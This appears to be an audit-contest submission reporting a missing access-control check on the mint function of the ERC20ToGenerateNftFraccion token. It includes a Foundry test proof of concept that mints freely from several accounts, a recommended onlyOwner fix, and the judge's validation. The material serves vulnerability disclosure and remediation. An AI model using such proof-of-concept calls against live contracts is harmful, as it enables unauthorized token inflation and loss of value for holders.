Pieces Protocol
First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Control Checks Missing on `ERC20ToGenerateNftFraccion:mint`

superdevfavour

Summary

Access Control Checks Missing on ERC20ToGenerateNftFraccion:mint, making it callable by anyone.

Vulnerability Details

Access Control Checks Missing on ERC20ToGenerateNftFraccion:mint, making it callable by anyone and allowing them to mint as much as they want.
you can create a test file in the test folder add this test script:

POC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
​
​
import {Test, console} from 'forge-std/Test.sol';
import {ERC20ToGenerateNftFraccion} from 'src/token/ERC20ToGenerateNftFraccion.sol';
​
​
contract ERC20ToGenerateNftFraccionTest is Test {
ERC20ToGenerateNftFraccion erc20ToGenerateNftFraccion;
address public USER = makeAddr("user");
address public USER2 = makeAddr("user2");
address public USER3 = makeAddr("user3");
​
function setUp() public {
erc20ToGenerateNftFraccion = new ERC20ToGenerateNftFraccion("Test", "TEST");
}
​
function testMint() public {
vm.startPrank(USER);
erc20ToGenerateNftFraccion.mint(USER, 100);
vm.stopPrank();
vm.startPrank(USER2);
erc20ToGenerateNftFraccion.mint(USER2, 100);
vm.stopPrank();
vm.startPrank(USER3);
erc20ToGenerateNftFraccion.mint(USER3, 100);
vm.stopPrank();
​
assertEq(erc20ToGenerateNftFraccion.balanceOf(USER), 100);
assertEq(erc20ToGenerateNftFraccion.balanceOf(USER2), 100);
assertEq(erc20ToGenerateNftFraccion.balanceOf(USER3), 100);
assertEq(erc20ToGenerateNftFraccion.totalSupply(), 300);
}
}

Impact

This makes any user mint as much as they want, thereby inflating the total supply and causing loss of value.

Tools Used

  • Foundry

Recommendations

create an onlyOwner modifier/access control that allows only the owner call the mint function.

- constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { }
​
- function mint(address _to, uint256 _amount) public {
- _mint(_to, _amount);
- }
​
+ address public owner;
​
+ constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
+ owner = msg.sender;
+ }
​
+ modifier onlyOwner() {
+ require(msg.sender == owner, "Only owner can call this function");
+ _;
+ }
​
+ function mint(address _to, uint256 _amount) public onlyOwner{
+ _mint(_to, _amount);
+ }
Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of token access control chekcs

Any person can mint the ERC20 token generated in representation of the NFT

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.